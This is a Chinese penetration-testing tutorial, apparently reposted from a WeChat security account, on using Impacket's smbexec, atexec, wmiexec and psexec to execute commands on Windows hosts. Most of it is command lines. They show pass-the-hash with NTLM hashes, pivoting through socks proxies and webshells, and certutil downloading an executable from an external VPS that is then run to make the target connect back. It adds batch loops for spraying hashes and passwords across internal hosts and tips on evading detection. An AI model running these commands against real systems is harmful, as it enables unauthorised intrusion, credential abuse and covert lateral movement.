Impacket套件之远程命令执行功能讲解
文章转载自公众号雷神众测, 作者ycat
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。
本篇文章主要讲解Impacket套件内远程命令执行工具在实际工作中的使用,其中包含全交互式工具(通常适用于内网环境下或socks代理环境下)、半交互式工具(通常适用于webshell环境下)。应用环境如下。
1.已有权限主机(包含webshell)不可出外网。2.已获取到一些NTLM哈希字符串,但解不出明文密码,无法通过ipc、rpd等登陆目标主机。 3.已有权限主机可以出网,但出于某些原因需要在socks代理或端口转发的环境下进行内网渗透测试。
Impacket套件里远程命令执行工具均支持密码、NTLM、票据认证,本文将会讲到密码和NTLM的使用方式,票据认证使用方式会在后续Impacket票据工具使用中详细讲解。
以下测试环境为已有权限主机:192.XXX.X.144 (win2012)
目标主机:192.XXX.X.76 (win8.1)
测试反弹、下载外网vps ip: 10x.xx.xx.x7
已掌握情况为:当前已获取部分ntlm哈希、密码,并尝试内网横向扩展。
No.3
smbexe
smbexe为全交互式工具,所以不可用于webshell环境,可用于rdp等有交互环境登录使用或socks代理环境下使用。
此处测试环境独立于本篇文章测试环境,仅为说明,本篇文章内Impacket工具使用认证的账号rid必须为500,从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。
通过查看wrw账号,发现该用户处于administrators组
如下图 执行以下两条操作,可发现使用管理组账号wrw进行smbexec.py远程执行命令操作会提示权限不足。
python smbexec.py ./administrator:Win2008@192.XXX.229.157python smbexec.py ./wrw:Win2008@192.XXX.229.157
以下内容继续在测试环境测试在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell
smbexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.XXX.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用域管账号NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell
smbexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用域管账号密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell
smbexec.exe
rootkit/administrator:admin!@#45@192.168.3.76
在socks网络环境下(图中所示socks工具为proxifier),使用local主机密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell
smbexec.exe
./administrator:Win2008@192.168.3.76
在交互shell下,下载可执行程序(msf、cs等任意文件)
certutil -urlcache -split -f
http://10x.xx.xx.x780/lib8.exe
No.4
atexec
atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。
某些情况下,当获取到webshell之后,发现该主机不可出外网,且无法创建内网代理,只能通过webshell进行内网渗透测试, 如下图,在蚁剑客户端运行atexec,在远程机器上执行任意命令
atexec.exe
./administrator:Win2008@192.168.3.76 "whoami"
atexec.exe
./administrator:Win2008@192.168.3.76 "ipconfig"
如果网络环境为已有内网socks代理环境,在socks网络环境下(图中所示socks工具为proxifier),可使用密码认证对远程主机192.168.3.76执行命令
atexec.exe
./administrator:Win2008@192.168.3.76 "whoami"
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.168.3.76执行命令
atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"
在socks网络环境下(图中所示socks工具为proxifier),使用域管帐户密码认证对远程主机192.168.3.76执行命令,下载可执行程序(如msf、cs、其他任意文件,如密码获取、信息收集等)
atexec.exe
rootkit/administrator:admin!@#45@192.168.3.76 "certutil -urlcache -split -f http://10x.xx.xx.x780/lib8.exe"
在上图下载可执行程序情况下,使用域管帐户密码认证远程执行该程序,使主机反向回连
atexec.exe
rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"
在上图下载可执行程序情况下,在linux主机下,使用proxychains代理工具,使用atexec远程执行该程序,使主机反向回连注意此处,admin!@#45密码中的"!"需要转义,否则会报错。
proxychains python atexec.py rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"
使用远程主机NTLM hash认证对远程主机192.168.3.76执行命令
atexec.exe -hashes
:518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76 "whoami"
由此可以写一些简单bat脚本,如批量对内网机器遍历做hash传递验证、指定主机ntlm hash遍历验证、内网机器遍历做密码验证、指定主机密码遍历验证。
内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条
FOR /F %%i in (ips.txt) do atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB821 ./administrator@%%i whoami
指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami
内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条
FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami
指定主机密码遍历验证,ips.txt内容为内网ip,每段一条
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami
No.5
wmiexec
wmiexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。
在webshell下,使用域管理员账号密码认证对远程主机192.168.3.76执行命令
wmiexec.exe
rootkit/administrator:admin!@#45@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令
wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,wmiexec 产生一个伪交互的cmd shell
wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76
在linux主机下,使用proxychains代理工具,使用wmiexec对远程主机192.168.3.76执行命令
proxychains python wmiexec.py rootkit/administrator:admin!@#45@192.168.3.76 whoami
在socks网络环境下(图中所示socks工具为proxifier),使用帐号密码认证对远程主机192.168.3.76执行命令
wmiexec.exe
./administrator:Win2008@192.168.3.76 whoami
wmiexec也与atexec一样,可写脚本批量执行命令
No.6
psexec
impacket套件内的psexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。
psexec.exe始于微软的pstools套件, 用于管理员远程管理windows主机资产,在渗透测试中也经常用来对远程计算机执行命令。
与微软官方的psexec.exe做对比,官方psexec.exe执行远程命令会在远程主机创建一个PSEXEC的服务,并且命令执行后会一直存在,容易被管理人员发现并判断有入侵行为。impacket套件内的psexec,执行命令之后会删除对应的服务,隐蔽性更佳,而且impacket套件内的psexec支持PTH(哈希传递)。
与官方psexec相同,impacket套件内的psexec也支持"-c"参数,参数解释如下,即复制本地可执行文件到远程主机并执行
-c pathname copy the filename for later execution, arguments are
passed in the command option
下文所讲述的是impacket套件内的psexec使用方法
在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令
proxychains python psexec.py ./administrator:Win2008@192.168.3.76
在psexec执行过程中,在远程主机192.168.3.76查看服务,发现创建了一个rwzH的服务
psexec执行完毕后,再在远程主机192.168.3.76查看服务,发现rwzH服务已不存在,psexec已自动删除自己创建的服务
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令
psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"
在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令,注意密码内的"!"需要转义。
proxychains python psexec.py rootkit/administrator:admin!@#45@192.168.3.76 whoami
下面使用"-c"参数远程加载可执行程序,使目标主机反向回连。execute.exe放到与psexec.exe相同目录。首先创建exe可执行文件服务端。
在socks网络环境下(图中所示socks工具为proxifier),使用帐户密码对远程主机192.168.3.76执行命令,使用"-c"参数。
psexec.exe
rootkit/administrator:admin!@#45@192.168.3.76 -c execute.exe
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,使用"-c"参数。
psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 -c execute.exe
如下图,目标主机已正常回连,由于目标主机是双网卡主机,显示内网ip为另外一块网卡的ip。
如果执行的命令需要耗费比较长时间,或加载可执行程序,在webshell执行psexec.exe可能会收不到回显信息(webshell执行命令有超时时间),所以建议把命令执行结果写到一个文件,然后查看文件内容即可。
psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "netstat -an" >log.txt
命令执行回显内容
impacket套件内的psexec也与atexec一样,可写脚本批量执行命令。